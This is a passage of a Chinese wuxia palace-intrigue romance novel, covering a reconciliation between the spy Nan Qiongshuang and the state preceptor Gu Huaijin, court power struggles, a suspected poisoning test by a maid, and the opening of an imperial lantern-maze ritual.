她又惊又委屈:“我哪里不要你!我说断掉是为了你好……” 顾怀瑾相当平静地回望。 她忽然收住了话音。 他那眼神的意思是,那并不会对他好。 “你为什么总觉得我没了你,还能好?”他摇着头疑惑,“我真不明白。当年,你一出事,我就快活不了了。后来,你又坠崖,没有半个字给我。你以为我怎么挺过那五年的?不过是为再见你。好不容易捱到再见你,你跟我说要断掉?” 他轻笑了一声:“你早说要断掉,我又何苦熬那五年,趁早殉了门派就是了。” “你不要说这种话!” 真想骂他,可是他悲伤得太平静,像一个苦涩的死湖,她的话顿时都没有了。 她闭了眼睛,筋疲力竭地委到他怀里去,牵着他的衣袖盖住脸: “我要你,乖乖。就算是说要断掉的时候,也没有真的不要你。那不过是希望你好受些……但是,是我想当然了。” “如果你真的觉得,我们在一起,比我们分开对你更好,那我们就在一起。” 顾怀瑾拥着她纤巧的背脊,只觉她中了软骨散后,每一寸都得依靠他,整个人软得太可爱、太惹人怜惜,几乎想将她搓成个小团子。 他弯着腰去贴她的颧骨脸颊,一点一点厮磨着蹭: “不是说要办差,办差吗。怎么,左了性子了。” 她幽幽叹了一声,任他揉捏: “不然呢。你要死要活的,难道我为了审录司上那一笔,放任你抑郁而终?” 他一阵低低的笑,把她脸颊挤进自己怀抱里,衣袖兜在她脸上,用额头和鼻尖蹭得她天昏地暗的,良久,在她后颈轻轻落吻:“乖乖,好乖乖。” 她扁扁嘴:“酸死人了。” 他怀里很热,呼吸也很热。被他拥着,简直要被他身上的气息催眠了,她含糊不清地打了个哈欠。 “困了?”他终于放开她,又将她好好倚靠在床头上,牵了衾被盖好,“吃点东西再睡。喝点什么?” “都行。” “没有胃口,煮点山楂水?你不是爱吃山楂?”他走去开了门。 她望着天花板,又是怅然。 “……不喜欢。我不喜欢山楂。当年做了一碗山楂冰圆子,你就记住了。其实,那不过是为了用山楂红染得嘴唇艳丽些,叫你喜欢。” 屋里的人又顿住了,静默得像一尊雕塑。 她又提心吊胆了。 他走过来。 她怎么也没想到他会倾身过来吻她。 她惊愕地望着他翕垂的睫毛羽扇。 他额头抵着她额头,将她后脑抵在床头上,歪着头纠缠她双唇,吻得她不得不微扬起下巴迎他。 被他的气息罩住,好闻得叫人眩晕的吻,她又想落泪了。 许久,他终于放开她,她只看见他气喘着开合的两片唇,和滚动的焦灼的喉结,他弯着唇说:“坏呢。” 没有嫌厌,是调侃。 她飘忽着眼神,闪烁着抬眼望他。 他笑得很纵容:“还好是现在叫我知道。要是从前,满脑子仁义道德,忽然发觉你这样,也许还真受不了。但是现在,”他摇着头笑,“都是小事了。” 她强撑着酸软的骨头,倾身过去:“可是我骗了你啊。” 顾怀瑾垂首过去,耳廓磨蹭她耳廓,缠绵悱恻:“那现在呢。” “现在……不是骗了。” “现在是真的,就不算。”他在她耳边道,“我只认结果。” 她听得又有点鼻酸。 她最怕他见到的那一面——他竟然接纳。 忽然很想磨着他,一直跟他待在一起,她闷闷地把额头顶在他下巴底下:“不要走了,不想吃饭。你待在这。” “怎么了。”她忽然闷着头在他锁骨旁蹭个不停,像个撒娇的小动物一样,他哑然失笑,“怎么了,磨起人来了。” “中了药就是不想自己待着嘛。”她往他怀里蜷,“我不管,你不要去。” 他笑个不停,无可奈何地扶了会额头,任她歪倒在自己胸前,手指绕着她的长发,牵到鼻子底下嗅着。 “不过,乖乖,我有些话想问你。” 他一只手搭在她腰上,一只手托捧住她脸颊: “从前,你宁可抗命,也没有对我坦白,是为什么。” 她听得心里渺茫一片。 是啊。 从前,从前。 他语气轻得像给孩童说故事: “是因为我父母曾在你同僚手里吃过亏,你认定我不会容你吗。” 她听着他嗵嗵的心跳,许久,没说话。 靠着他胸口,正好可以从他的轩窗望出去。顾府里是一片寂静夜色,没有落花,没有山风,没有月亮出岫。 她恍惚看见她下定了决心的那个晚上。 朝瑶峰。 良久,她痴茫茫眨了眨眼: “我想,归根结底,是因为我不信你吧。” “不信你,不信天山,不信情爱。” “你父母已经在前人手里中过计,你因为我们这些人,近乎家破人亡,这是其一。你一心为公,大公少私,这是其二。我一贯谨慎,凡事能不赌就不赌,这是其三。” “可是,你就没有想过……”他低下头望她,她一截琼鼻如冰雪一般,“我爱你。” 她轻轻地、讥讽地笑了一下。 他第一百次感受到,她本性很凉薄。 “什么是爱。”她依偎在他怀里,但轻轻用衣袖遮住了脸,“用了椿药的能算爱吗,用了迷魂香的可以算爱吗。用自伤换来的心疼,知道了真相以后还会心疼吗。挑拨□□,言辞相激,我们有种种手段,可以逼得男人失魂落魄。但玩弄人心得来的人心,可以称为真心吗?” 他半个字也说不出来了。 她抬起头,吹息一般吐字:“能吗?” 没有人答她。 她自顾自说下去: “我不知道什么是爱。这么多年,江湖人传‘天下才俊,霜红分之’,可是那又怎样?正是因为见得多了,才愈发不明白了。操纵手段得来的,或许也不能算□□。假如药物和容貌就可以让人被爱——那爱之一字,就太浅薄了。爱不过是一碗山楂冰圆子,二两钱。或者是七乌香木磨的耳坠,三文。我不会在这种不知所谓之物上押任何赌注。” 顾怀瑾静静看着她。 他终于明白,她是一个雪妖。生来凉薄,又有一副美丽皮囊,不谙世事地惹人趋之若鹜,又有一双澄明透彻的玻璃眼睛,不肯糊涂分毫。 擅于被人迷恋,于是她太早勘破情障。 “何况,那时候,你连南琼霜这三个字都不知道,你不过爱我温柔解语、楚楚可怜。我不温柔,也不可怜。你要我怎么对你坦白。坦白了又如何,你能用情如初吗,我们还要共度余生吗?” 房间里夜色如水,月光凉阴阴的,没有人说话。 许久,他说:“我明白了。” 天山上的情爱,终究是一场骗局。 她不会在骗局上豪赌。 她很聪明。 他手指绕着她一缕发,痴醉地放到唇边吻。 她很聪明,看人看事永远一针见血。即便痛苦,即便受伤,最后还是保持自我,鲜血淋漓也绝不动摇。 倘若他有她这一点坚冰似的通透,他根本就不会困在这不可理喻的情爱里,走投无路。 可是,他能怎么办。 她这一点伤人伤己的玻璃刃般的锋利,叫他更欣赏了。 他艳羡她这种通透已久。 他迷恋她,明知自己不可理喻,明知自己色令智昏,可还是毫无办法地溺毙在她的气息里,即便她想救,他也不要活。 他叹了一口气,伸直腿,靠着床架,将人整个搬到怀里,叫她全蜷在他身上。 她浑身软得棉花一样,叫他想起 当年他们带上朝瑶峰的那只白猫,他居心叵测地喜欢不已,蹭着她后颈: “那么,现在呢。” 现在。 她瞬间有了答案。 但那答案太不可思议,她不敢相信。 南琼霜转回头去望他。 两个人离得太近,她若要全转过去看他的眼睛,势必要用手肘拄他胸膛,她怕他痛,没动。 只看到他线条疏雅的两片唇翕合: “现在呢,信我吗?相信我爱你吗?相信我不会背叛你吗?” 她躺在他胸膛上,他胸膛随呼吸潮水般起伏。 她认识的那个自己,会给什么答案,她心里明白。 可是。 她心里如滚惊雷,不敢细想,竟然惶惑落泪。 四象塔。绝笔书。本命珠打的耳环。天山之祸,我不怪你。 “信我吗?” 他又问了一遍,轻描淡写地卷起她长发在唇边吻。 她有口难开,煎熬得抿唇。 自从爱上他以后,她常常不认识她自己了。有时候格外脆弱,他不来找她,她就心伤不已;有时候又坚强到发蠢,竟敢笃定他会来救她。 她不明白,无措又迷惑,捂着脸呜呜哭了。 “怎么哭了?”他一掌虚虚拢在她眼上,温热掌心罩下一片狭小的黑暗,仿佛一个能容她躲进去安身的小巢穴。 他的胸膛随呼吸潮水一般起伏。她是水上一只小舟,不知道要被这水流送到哪去了。 爱究竟是什么东西。她不懂爱,或许也害怕爱,她不知道爱会把她送到哪去,爱要把她送哪去啊。 她不熟悉这一切。不懂、不习惯。 但是她说:“好像……信了。” 声如蚊蝇,她毕竟还是害怕。 “什么?”他听见了装没听见,附耳到她唇边。 “我不明白。”她贝齿咬着嫣唇,“但是,好像……信了。” 她愈发在他怀里蜷起腿来,啪嗒啪嗒地掉眼泪。 在他眼里,像只被雨淋了的小猫,可怜极了——她要他心疼,根本就不需要自伤啊。 “不哭了,乖乖。”他拨着她颈侧披垂下来的发,那里被她的体温捂得暖乎乎的,他俯首进那温暖里厮磨又轻吻,“信了就好。我知道,你不容易。从前你不信我,我不怪你。但你信我……我才安心。” 她红着眼睛,呜呜咽咽地用头蹭他脖子,“我信你啊。” “好,好,那就好。” 他埋首在她暖和的颈窝里,深深嗅着,手拥着她,哄孩子睡觉似的轻拍着,打了个哈欠: “睡会吧,乖乖。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 170-180 第171章 一睡,一直睡到了卯时。 睁开眼的时候,天已亮了,映得屋里一片新鲜清淡的蓝。 顾怀瑾的下巴抵着她发顶。不知道为什么,这人一睡着,格外喜欢把她往怀里压,往往一醒来,她就整个人被他塞在怀里,身不由己得跟被绑了似的。 他的呼吸在她头顶吹拂。 一呼一吸,安稳、均匀、悠长。 她略微放下心。 抑郁多思之人,往往少眠,或者彻底难眠。越不成眠,越抑郁,越无法可解。 他能睡久些,精神也能好些,那些叫他痛苦不堪的事,或许也能少想一些。 多睡会吧。 她心事重重地抚上他拥着她双肩的手,在他指骨上轻轻抚摸。 不过,昨夜这么大一场,京中局势定然大变。 墨角是否得了手,未知。 假如得手,那嘉庆帝的位子,也坐不久了。 无人制衡,李玄白那又争又抢的性子,恐怕装不了几日,就得软禁了他,叫他在某座宫殿里对着青灯古佛去。——这还算好的。 假如未得手,局势就更扑朔迷离了。 常达在自己府中遭遇了两重刺杀,必然不会善罢甘休,说不准要封城戒严挨家挨户查刺客,或许还会借机生事,一口咬死是大明宫的手笔,借此大手一挥,女真精兵尽数攻入紫宸殿,将传国玉玺纳入囊中。 不过,此事与大明宫是否有干系? 往生门办事,一向是收人钱财,受人委托。谁知道是不是受了大明宫的委托? 何况此事也太巧了。常太妃刚在宫宴上公然刺杀摄政王,没过几天,上面就下了收网的令。 就连这短促的时间差,也格外符合大明宫那位的脾性。 她拉过一缕不知道是谁的长发,在手指上转圈缠着,一面凝神细想。 忽然听见头顶的呼吸声顿了一刻。接着长长吸了一口气,背后人悠悠哼了一声,闷着头又埋到她颈后。 他声音闷闷的:“醒了?” 她转过身去抱他:“嗯。” 顾怀瑾仍是不肯从她颈窝里出来,闭着眼睛嗅她发间的气味,迷迷糊糊地亲她:“乖乖,乖乖。” 她仰着脖子任他轻轻浅浅地亲,环抱着他的头,拍着他的背哄他: “睡得好吗?” “好。”他抬起头,眼睛还睁不开,睡得整个人热乎乎的,过来抵她眉心:“好想你,一醒来居然在抱你,跟做梦一样。” “什么呀。”她哑然失笑,“在天山上不是天天这样。” “天山是天山……”他含含糊糊叹口气,尚未全醒,渐渐又凑到她脖子底下,“多久以前,五年了。再见面,你有哪一天是纵容过我的。没良心。” 说得她又心酸了。她捋着他长发亲他耳廓:“别说这种话嘛,乖乖。我也想你呀。” 他才刚睡醒,本就迷糊钝乏,听了这几句,心又化成一滩水,在她颈间嗅吻个不停。 嗅得她浑身汗毛直立:“痒呀。” 他不管,一面吻,一面搂,还要点评:“脖子底下最好闻。” 她毫无办法,哭笑不得。 从前,他好似还没有这般爱撒娇,如今跟外人少言寡语的,倒见了她就不松手,背着外人,哼哼唧唧的。 “好啦。”她故意用额头撞了撞他脑壳,“时辰不早了,宫里人都该起了,我得回宫了。” “今晚还来吗。”他终于抬起头。 他又有点不安,像怯怯的孩童,等她指示。 她总如一阵雪风一般,寒凉、飘忽、抓不住。 “来。”她笑盈盈用食指在他唇上按了一瞬,“得空就来。” 她一双眼睛如山间反射日光的湖泊,碎闪粼粼。 顾怀瑾略微放下心,又去吻了吻她眉尾。 “我真的得走了。”南琼霜爬起来,捡起地上他昨夜扔在那的白衣裳,闻了闻,依旧一股令人作呕的酒气。她一想到那酒是从女真人口里喷出来的,随手又丢在地上,从他枕旁捞起 了她的旧衣裳。 他总把她的衣裳搁在枕头边,不知道为什么。 顾怀瑾一惊坐起:“做什么!” “我的衣裳,我穿走啊。”她若无其事地把头发从衣服里拉出来,“没有别的衣裳了,我总不能光着回去。放在你这,你又不洗……” 顾怀瑾坐在榻上,难以启齿,有口难言。 如果被她知道,他夜不成眠的日子,都得闻着她这些衣服阖眼,她是否会觉得他不大正常? “不过,我想问你,金戈侍卫里有你的人吗?”她自顾自系着腰带,“那个张度,替你传信,你是怎么安插了人到摄政王的贴身侍卫里的?” “琵琶大会,定王求我放太妃出静思轩,问有无什么可以帮我。”他平静如常地走到她身后,不显山不露水地将她带子解开,衣服再剥下来,披了他一件新寝衣在她肩上,低头系带子,“宫中有一支禁军在常何常将军手里,你知道的,就是将你从无量山接回京城的那一位。我说,想要让一人入常将军的禁军,就是这张度。” “你要他入禁军,是为了让他做金戈侍卫?” 他笑了一下。 “但……”南琼霜又被他从背后环抱着,“你怎么知道,此人只效忠于你呢?常达不会任由你打进禁军的。” “我没有叫他只效忠于我。”他弯下腰,在她额角又啜吻一下,“我对他说,常达要他做什么,都答应。常达给什么,我都给更多。” “可是你哪来的银子呢?” 顾怀瑾俯在她肩上,忽然笑得深深,方才那点孩子气一扫而空,“皇上放权,允我从户部拨款。之前裁减冗员,节约下不少银子。我对皇上说,拿这些银子,四处疏通运作,以备不时之需。” “张度是你的人。我身边清涟、远香,又是何时成了你的人的?无量山上,用过了忘忧散后?” 顾怀瑾只是含笑:“人失了忆,总是格外脆弱。” 如今,他再笑,也不是从前那种谦谦君子的笑了,一双眼仿佛幽潭,深深的看不见底。 像笑面虎。 她白了他一眼,没说话。 “你不肯见我,我想见你,只好时时派人盯着你。”他毫无悔意地叹息,下巴贴着她太阳穴,“怕你出了什么岔子,我鞭长莫及。” 话是这么说,其实是想她时刻在手掌心里。 这一点,她心如明镜。 事无巨细地体贴,本就是一种微妙的控制。只是从前,他太温柔,把一切都包装得太巧妙,连她都骗过了,以为只是纵着她。 她不想计较,哄小动物似的挠了挠他的下巴。 “对了,乖乖。”他用手指摸着她眉毛,又亲了亲,“不是说要把往生门的内情告诉我么。” 这……倒是确实。 可是,一晚过去,是否应该告诉他,她又拿不准了。 有些事情,她隐约品出些许,但还不确定。 思量良久,她打算折中:“其实,早已经写给你了,在四象塔上你的枕头里。”无量山,他一时半会还回不去,可在时间上拖他片刻,“不过,倘若你想报仇——找往生门并不是最好的法子。” “为什么?” “往生门办事都是受人委托。并非是细作们欲对天山不利,欲对天山不利的另有其人。” “天山的案子……”她回过头去,拈过他一缕发在指上绕着,垂着眼睫,“从你爹爹那一辈,就已开始了。是当年那细作未得手,才派了我到你身边来。推算起来,应是上一辈的仇怨,从那细作入山开始,距今至少有二十年。这么久的事,你爹爹当年有没有同谁结过仇?” 顾怀瑾想了片刻,终于还是皱眉:“我爹爹脾性很好的,不曾结过什么仇。” “那么,唯有我差事办妥,回门述职时,托关系去审录司查查卷宗,看看当年究竟是何人所托。” “陈年密宗,不可能轻易给你查的。”他轻轻捧起她的脸,心疼又心忧,“不要冒险。” “未必是冒险。” 她一双眼冷静而黑白分明。 “往生门换了新门主。” “我想,新门主,是我熟识。” * 京城之中,流言四起,人人自危。 几日之内,摄政王和定王接连遭遇刺杀,福余三卫洗劫了国公府,刺客满街奔逃,飞鱼卫不分白天黑夜地戒严、巡视、抓刺客。不久之前,皇上身边的定海神针还闹过一次自杀。 连街边卖咸鸭蛋的贩子,都晓得天要大变了。 人心惶惶。 有传言,摄政王已经连夜派人去调了京畿的大军,十几万兵马在洛京城外整齐待发,只待一声令下,冲破山海关。 定王的伤势至今未明,有人亲眼看见十余个黑衣刺客自府中逃窜出来,自此再无人见过定王。虽然府中未发丧,但谁知情况如何。 前去定王府打探消息的官员门客,全被残了一条手臂的江强挡了下来,无一例外。 此时,却有消息传出,说定王的小儿子常平,被派去了山海关外,统筹十几万常家军,欲直取紫禁城中紫宸殿。 嘉庆帝吓得头昏胆裂。 他纾解恐慌的法子是,占卜。 这几日,顾怀瑾日日在宫中陪他,几乎每时每刻都被他缠着起卦。烧完龟甲又抛硬币,抛完硬币又算八字,八字算完又算紫薇、六壬、梅花。 更奇诡的是。 算出来,嘉庆帝,大限已至。 就这几日。 顾怀瑾不知如何同他坦言,绞尽脑汁地包装言辞,引经据典东拉西扯地安抚他。 嘉庆帝却似自己也有感觉了似的,不论如何,听不进去。 说来说去,劝来劝去,最后嘉庆帝流着眼泪望着窗外的天,呆愣愣地对他说: “先生,朕要再问一次老天爷的意思。这一次,不必借您之力,求老天爷亲自在朕身上降兆。” 顾怀瑾:“龙体贵重……” 嘉庆帝:“非要以朕之身,与鬼神沟通。先生,朕想开一次,九曲黄河灯阵。” 九曲黄河灯阵,乃是宫里一种习俗,入秋以后,在宫中以三百六十五盏灯布成迷宫阵,以竹竿或铜柱悬灯,路线曲折迂回,皇上持灯在前引路。典出《封神演义》,以能否走出灯阵来判断吉凶,一盏灯代一尊神,既是占卜,又是祈福。 若能顺利走出,便是觅得生门,破除命劫之意。 “京中流言纷起,人人自危,甚至有人妄言,说国运将尽。”顾怀瑾亦叹了口气,“若您亲自引众大臣走出迷阵,也算下慰民心。灯阵有引路太监指引,想必皇上也不会迷路。” 他说:“皇上若有此意,顾某去办。” 接下来几日,黄灯笼一只一只在御花园内高挂起来,太监宫女整日在宫道上忙碌,连带着南琼霜的菡萏宫,也不得清净。 九曲黄河阵,百官随行,她作为嫔妃,也得随从。 时局有异,她最厌热闹,不想嘉庆帝在这节骨眼上,还要热闹。 她根本没心思玩乐。 局势已经紧张如刀上弦,为何要她收网的令,还没下来。 不动手,就不能脱身。难道真要把她卷入万劫不复之地吗? 她倚在贵妃榻的锦枕上,歇也不安心,辗转反侧。 清涟和远香两人,今日下午,都被她借故支走了。 宫中静悄悄的,唯有李慎舒一人伴着她。 她忽然想喝红糖血燕,将李慎舒也打发走了,眼下身边空无一人,她自己倚在榻上,百无聊赖地望着初秋的天。 忽然雾刀的传音入密在耳畔响起来: “姑奶奶,小的给您汇报点事。” 她轻轻摇着的纨扇停下来,歇在胸口:“说。” “这几日定王府上守得跟铁桶一般,小的探消息,也花了一番功夫。可是还是叫小的探到啦。” 她心脏缓缓地吊到胃里,一点失重般的紧张感。 “定王未死。”他嘿嘿笑,“但伤啦。” 她噗嗤一笑,“墨角在他府外守了大半夜,最后还是没有得手?废物东西。伤在哪?” “伤在腰腹。消息藏得可紧,每日藏得可好啦,连公孙红都是今天才知道的消息。为免有人知道,连郎中都不请,自己简单用了点金疮散,在府里硬挺。烧得七荤八素的,快烧成爷爷嘴里头的烤羊腿了,今儿才醒转过来。” “他那几个儿子呢?” “这才是小的要跟您说的大事呢。”雾刀笑呵呵地搓了搓手,“他那两个儿子,见自己老子快死了,明争暗斗,抢得头破血流。大点的那个比小的有资历些,想趁自己老子没醒,把弟弟留在府中,自己去关外调兵。没想到,前脚刚迈出门,姓常的后脚就醒了。” “自己去关外调兵”,应是想支开常平,独占常达十几万大军之意。 “醒来之后,小儿子在他床前叫喊连天的,大儿子却不见了,一问说是去关外领兵去了。给那姓常的气的啊,说他放着老子不管,操心老子的兵权。于是他大儿子灰溜溜回来了。现在父子几个,紧张着哪。” 她觉得有趣,扇子掩在唇上,一阵咯咯的笑。 “还有呢,姑奶奶,您叫我去盯的那个徐卫,小的也认真跟了一阵。倒是个老实人,没什么异常之处。” “不过,有一件事。姓常的不是伤了吗?又不肯找郎中,就整日在府里吞长生药。红彤彤的小丸子,姓常的囤了许多。常忠也想用点,但他老子不给。于是常忠偷跑到他老子房里,偷挖了一口朱砂膏,没想到服下就流了鼻血。” “给他气的直骂他老子,说不仅抠,还弄些无用之物来害人。” “然后这个徐卫说,或许他老子是知道他会来房 中偷药,专把朱砂膏换成了别的,专要惩戒他呢。给那圆头圆脑的东西气的更要杀人。” “常达专门换了药要害他”? 这样的猜测,虽说也并非毫无道理……但猜得是否有些太偏激? 偏激到,近乎是离间了。 徐卫此人,整日围在常忠身边溜须拍马,应是常忠的心腹。会站在他的角度想事情,也正常。 她不知道是否是自己太多心。 她心下思忖着,一时没说话,只手指捏着扇缘不动。 片刻,她问,“如今他那小儿子,常平,是否格外得宠?” “那是自然。似乎是宫宴上出了风头,说了句‘鹬蚌相争,渔翁得利’吧,自此就得了姓常的看重。加上常达受伤时,这小儿子哭哭啼啼地在床前侍奉——眼下,是比他那大儿子得势多咯。” 有意思,有意思。 她早就觉得常达父子可堪利用,如今,毋需她挑拨,这三个人已经矛盾重重。 说不准,以后这仨父子,可以做至关重要的一步棋。 “我知道了。”她摇着扇子复又懒洋洋躺回贵妃榻上,“你继续回去盯着吧。” “好嘞。” “还有一件事。”她忽然道,“叫你瞧瞧那徐卫的刀鞘,你去瞧了没有?” 潜入定王府与公孙红商议琵琶大会的细节时,她曾撞见常忠与徐卫两个在小亭子中醉酒侃大山。那时,就注意到这徐卫的刀鞘有些蹊跷。 “诶,去瞧啦。小的仔细看了一眼。”雾刀笑,“是双龙戏珠图纹,嵌玉雕花。” 双龙戏珠? 怪不得她当时一眼就直觉不对。那刀鞘太富丽华贵,与他身上其他衣饰格格不入,只要注意到,谁都能看出不对。 她沉吟良久。 双龙戏珠,嵌玉雕花。 她手一挥:“行了,知道了。回去盯着吧。” 雾刀痛快应下,转瞬就没了声音。 自从雾刀在无量山上被顾怀瑾活捉,又被灌下忘忧散之后,完全成了她最好用的一条狗。跑得快、鼻子灵、神出鬼没,身家性命系在她一念之间,她说东,他不敢往西。 这种日子,若早来些,该多好啊。 她心满意足地长叹着靠在锦枕上,恹恹摇着扇子。 不知不觉,阖了眼。 忽然是一道温和谨慎的嗓音:“娘娘。” 睁开眼,李慎舒不知何时回了她身侧。 南琼霜手懒懒拄着太阳穴,懒垂着眼帘睨她。 李慎舒依旧是一派温和有度,笑得妥帖,捧着托盘行礼,盘中一碗热气腾腾的血燕。 南琼霜在她半分错处也无的端丽脸孔上盯视许久。 李慎舒只抬眼与她相对一瞬,复又垂下眼,避免直视主子。 只是笑道:“您小心烫。” 模样如此谦恭,若非她亲眼见了这李慎舒躲在门缝里的那一眼,她真要以为此人是个温顺角色了。 南琼霜拈着帕子垫着碗底,小心接过,捧在手中,拿瓷勺搅着。 她舀起一勺,细嗅:“这么烫。” 喝不了,她复又将那碗搁在一旁小几上,百无聊赖蜷了蜷腿。 “咚”一声。 是前些日子,云瞒月见她中了药,系在她身上做信物的那块菩萨玉牌。 一动,从腰间滑坠了下来,掉在榻上。 李慎舒闻声抬了眼。 菩萨慈眉善目,端居莲花宝座之上。 她飞快地瞥了一瞬,似是没料到,目光定了半刻,复又轻描淡写地转开目光。 究竟在看些什么? 南琼霜跟着垂头看,依旧是唯有那一块菩萨玉牌,并无他物。 菩萨玉牌是多常见之物,谨慎如她,也不觉得这块牌有何特别。 李慎舒却开了口:“娘娘,方才奴婢去御用监取本月的血燕,路过紫宸殿,见紫宸殿门口既有飞鱼卫,又有金戈侍卫,又有常家军,便去侍奉紫宸殿的宫人处打探了些消息。据说,紫宸殿中,三方正争执不下。” “谈的什么?” “是为福余三卫的去留。” “据说,国公府被福余三卫洗劫,摄政王下了死命令,定要将福余三卫驱逐出京。定王一口咬死不同意。” 李玄白巴不得这伙骁勇的蛮人滚出京去,他当然不肯。 “皇上亦是不同意,希望定王将这伙人遣去山海关外。” 嘉庆帝胆小如鼠,他自然是做梦都想这伙人消失。 “唯有顾先生一人要留福余三卫在京中。” 她刚端起那碗燕窝,险些打翻在地。 李慎舒沉静地望着她失措。 “当真是疯了,不知这位国师先生究竟在想什么。”她恨恨摇头,“人人都说不能留,就他非要遗世独立。他为何非留那伙人不可?” 李慎舒迟疑着:“这……奴婢就不知道了。” 南琼霜冷笑一声,抬起手来缓缓揉着眉心: “你瞧好吧,好好的齐宋,早晚要在这位手里断送了。这伙蛮人,是兵是匪都未可知,又不能为他所用,他竟然为着什么制衡之术,连这种人都要留在京里。我表兄若不能扳过他来,齐宋可真是没指望了。” 李慎舒不欲妄谈主子,只是垂手恭听,不答话。 南琼霜拿汤匙有一搭没一搭地舀着:“倒是整日给皇上算命,不知他有没有给自己算过何日死?” 说完,神色冷蔑,若无其事地拎高了衣领。 他最爱亲她脖子,昏天黑地的吮个没完,上面吮,下面蹭,她总疑心身上有印子。 一想,心上如有蚂蚁爬。 李慎舒只是不抬头,不应声。 “罢了,前朝的事,后宫操心也是无益。”她叹息,扬着下巴朝那燕窝努努嘴,“姑姑,试试温。” “是。” 李慎舒将那燕窝舀了一勺,端在唇边,轻轻啜了一口。 瓷勺对面,南琼霜手拄在下巴上,一双眼睁得灼灼浑圆,含着笑意,炯炯盯着她。 三分之一、三分之二、全部。 李慎舒确将那一勺尽数咽下去了。 南琼霜始料未及,微微愕然。 她摇着扇子,若无其事地笑:“还烫吗?” 李慎舒犹自微笑: “还烫。娘娘还是放凉了喝。” 南琼霜望着她那雷打不动、半分破绽也无的完满的笑弧,缓缓捏紧了手中帕子。 一双眼,从头到脚,上下打量她。 那一晚,雾刀带她出宫办差,这李慎舒是瞧见了的。她也是往生门出身,自然知道雾刀那一身打扮,便是往生门的教引。 李慎舒定然是知道她的身份的。 为了诈她,引她暴露,她特意给了她一个机会下毒,支开了清涟远香,就为助她 得手。 谁知,这碗燕窝里,没放药? 她是真端了碗好好的燕窝,给她喝? 南琼霜望着她低眉浅笑的脸容,忽地觉出,李慎舒此人,或许比她想的,还要深不可测。 第172章 九曲黄河灯阵,乃是宫中沿袭已久的习俗。入了秋,在宫中里里外外缀上三百六十五盏明灯,路径依周易九宫八卦排布,一盏灯喻一尊神,模拟黄河九曲之势形成迷阵。阵中有“生门”,有“死门”,皇帝持灯在前,引嫔妃大臣入迷阵,若能率众自生门而出,便是国运昌盛、顺应天时之兆。 当是时,京中人心惶惶,流言蜚语蜂起,一贯钱,昨日能买一斤油,翌日买不了两个鸡蛋。已有流民逃窜出城,官兵屡禁不止,上上下下,正需天子上告天神,下慰民心。 是以,在这风云诡谲一触即发的当儿,宫中却是忙着张灯结彩,喜庆非凡。 ——虽然,此时办灯阵,多少是为知天意,多少是为大难临头前最后纵情欢乐一把,人人心知肚明,人人闭口不言。 嘉庆帝愈发惴惴难眠,谨守斋戒,日夜期盼灯阵当日上感天神,抚慰民心。 九月初五,是顾怀瑾卜算出的黄道吉日。 酉时初,《中和韶乐》大奏,嘉庆帝率宗亲拜过三皇神位,道士齐诵《北斗经》,以朱砂点灯芯,祭阵启灯。 戌时正,夜已黑透,宫中却是明灯煌煌,通明炫目。 灯阵正设于御花园之中。三百六十五根铜柱立于灌木花草之间,柱顶放一盏五色华灯,色彩辉烁,炫繁夺目,四下里一片彩光流溢,众妃嫔大臣垂首列班于灯阵入口,各色朝服宫装都被华灯映得染了色。 灯阵四周,以彩幡和薄纱围起,用以阻风。 四下里都是摇着铜铃护阵的宦官宫女。 南琼霜手中执着凤尾灯,与同执着灯的毛琳妍并肩站在一处。 皇上持灯在队首,嫔妃紧随其后,文武百官执灯随之。阵中通径狭窄,仅容两人通过,是以两人虽然见了彼此便竖眉毛瞪眼,仍是不得不相安无事。 顾怀瑾作为嘉庆帝的肱骨心腹,随在两人身后。 确切地说,是她身后。 摄政王却久久未至。 李玄白的性子,是最散漫落拓,这等繁琐仪典,虽说带了点娱乐享受之意,于他到底还是麻烦,过了两刻才姗姗来迟。 嘉庆帝站在队首,半句怨言不敢有,见了李玄白,倒赔着笑道,“皇兄,快来,快来。” 李玄白走近,半分眼神也未递给南琼霜。 自从顾怀瑾自戕了一回,他从她的反应里琢磨出点滋味,再不肯自欺欺人了,连日不曾同她说一句话,也不再召见她。见了她,仿佛见一粒尘埃,目不斜视地走过,半分心也不用。 南琼霜不知他是装不在乎,还是真不在乎,但不论如何,她都不能再如从前那样对他了——顾怀瑾实在介意得厉害。 她亦默然不语地垂着眼,只当不晓得,没看见。 嘉庆帝引了他至身侧,竟还眉开眼笑地拉着他,将他按到了右侧,自己站去了左边,与李玄白并肩。 齐宋以右为尊,这是让出了尊位,显而易见的谄媚之意。 李玄白轻蔑笑笑,倒也受了。 不多时,引路太监一喝,嘉庆帝和李玄白终于抬步入了灯阵。 众人紧随其后。 灯阵之中,一片灿烂。 南琼霜压根不关心往哪个方向走,走哪个方向也不由她,只望着前方一片漫漫灯火,神飞天外。 嘉庆帝和李玄白一向话不投机,仪典之上,更是半句话也没有,这两人不开口,余下人等更是唯有噤声,四下里唯余铜铃护阵和风刮在阻风纱上的声响。 安静使她愈发神游。 想着想着,一抬眼。 嘉庆帝和李玄白,一个身着明黄,一个身着杏黄,在辉煌灯火下几乎辨不出分别,两个今日都戴了熠熠生光的帝冠,束腰负手,同步缓行。从背后望去,两个人几乎是一个模子刻出来的。 她此时才惊觉这两人生得有几分相像。 再一细看,李玄白鬓角锋锐利落,剑眉斜飞入鬓,五官如刀雕过了似的挺拔深艳,至于嘉庆帝,虽然不如他这般英俊非凡,额鼻的起伏错落倒也有几分相似之处,只是细微之处相异的多,凑在一处,看起来就不同了。 她有些愕然地眨眨眼。 灯火下,离得远些,真叫人分不清。 忽然不期然歪了一瞬,她一个趔趄,险些崴了脚。 毛琳妍弯着唇偷递过来一眼,一点喜滋滋的窃笑,又老实把脚收回来。 南琼霜烦得直翻白眼。 这么多人在此,闲的没事干,在这种场合给她下小绊子! 后面百官随行,她最初没理。 孰料毛琳妍今日绝不肯轻易放过她——听闻嘉庆帝得了那颗鹿血丹后,第一个想到她珍妃,她恼得是一佛出世二佛升天,几乎想把菡萏宫一把火点了——半刻,又是趁着转弯,耸着肩膀往她身上撞。 她真烦了,瞥了一眼。 毛琳妍得意洋洋地强压下嘴角。 顾怀瑾看见了,奈何百官在身后,众目睽睽之下,他要开口阻拦,总得思量两回。 却见李玄白回过了身。 静静扫了毛琳妍一眼。 毛琳妍当即屏息凝神,冷汗满身,老老实实收了动作。 李玄白回身只回了一半,又如常转回去。——只回一半的意思是,他见不得谁在他眼皮子底下跟他的人造次,但身后那个人,他也不屑一顾。 既不原宥,也不挽回,他不在乎。 顾怀瑾亦是微微冷笑。 